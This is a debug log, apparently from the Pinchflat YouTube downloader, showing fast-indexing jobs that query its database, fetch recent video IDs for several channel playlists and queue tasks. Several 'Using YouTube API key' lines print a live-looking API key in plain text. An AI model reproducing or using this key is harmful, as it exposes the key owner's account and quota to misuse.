source="sources" db=0.1ms idle=345.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:46:37.224 [debug] QUERY OK source="settings" db=0.0ms idle=345.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:37.224 [debug] QUERY OK source="media_profiles" db=0.0ms idle=345.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:37.224 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:37.224 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:46:37.224 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:37.224 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:37.301 [debug] QUERY OK source="media_items" db=0.4ms idle=76.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 16:46:37.302 [debug] QUERY OK source="media_items" db=0.9ms idle=77.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:46:37.303 [debug] QUERY OK source="tasks" db=0.1ms idle=78.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800045, 16, ~U[2026-02-10 22:46:37Z], ~U[2026-02-10 22:46:37Z]] 16:46:37.303 [info] {"args":{"id":16},"id":3800006,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":79429,"event":"job:stop","queue_time":528492,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:38.225 [info] {"args":{"id":43},"id":3800007,"meta":{},"system_time":1770763598225895279,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:38.226 [debug] QUERY OK source="sources" db=0.2ms idle=922.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:46:38.226 [debug] QUERY OK source="settings" db=0.0ms idle=923.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:38.226 [debug] QUERY OK source="media_profiles" db=0.0ms idle=916.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:38.226 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:38.226 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:46:38.227 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:38.227 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:38.372 [debug] QUERY OK source="media_items" db=0.6ms idle=145.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 16:46:38.373 [debug] QUERY OK source="media_items" db=0.3ms idle=146.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:46:38.374 [debug] QUERY OK source="tasks" db=0.1ms idle=146.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800046, 43, ~U[2026-02-10 22:46:38Z], ~U[2026-02-10 22:46:38Z]] 16:46:38.374 [info] {"args":{"id":43},"id":3800007,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148160,"event":"job:stop","queue_time":469661,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:40.227 [info] {"args":{"id":25},"id":3800008,"meta":{},"system_time":1770763600227685757,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:40.227 [info] {"args":{"id":7},"id":3800009,"meta":{},"system_time":1770763600227734386,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:40.228 [debug] QUERY OK source="sources" db=0.2ms idle=349.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:46:40.228 [debug] QUERY OK source="sources" db=0.2ms idle=349.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:46:40.228 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:40.228 [debug] QUERY OK source="settings" db=0.2ms idle=349.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:40.228 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:40.228 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:40.228 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:40.228 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:40.228 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:46:40.228 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:46:40.229 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:40.229 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:40.229 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:40.229 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:40.319 [debug] QUERY OK source="media_items" db=0.5ms idle=89.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 16:46:40.320 [debug] QUERY OK source="media_items" db=1.0ms idle=90.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:46:40.321 [debug] QUERY OK source="tasks" db=0.0ms idle=92.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800047, 25, ~U[2026-02-10 22:46:40Z], ~U[2026-02-10 22:46:40Z]] 16:46:40.321 [info] {"args":{"id":25},"id":3800008,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":93934,"event":"job:stop","queue_time":520251,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:40.365 [debug] QUERY OK source="media_items" db=0.5ms idle=43.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 16:46:40.368 [debug] QUERY OK source="media_items" db=2.0ms idle=44.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:46:40.368 [debug] QUERY OK source="tasks" db=0.1ms idle=41.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800048, 7, ~U[2026-02-10 22:46:40Z], ~U[2026-02-10 22:46:40Z]] 16:46:40.369 [info] {"args":{"id":7},"id":3800009,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141138,"event":"job:stop","queue_time":378991,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:41.229 [info] 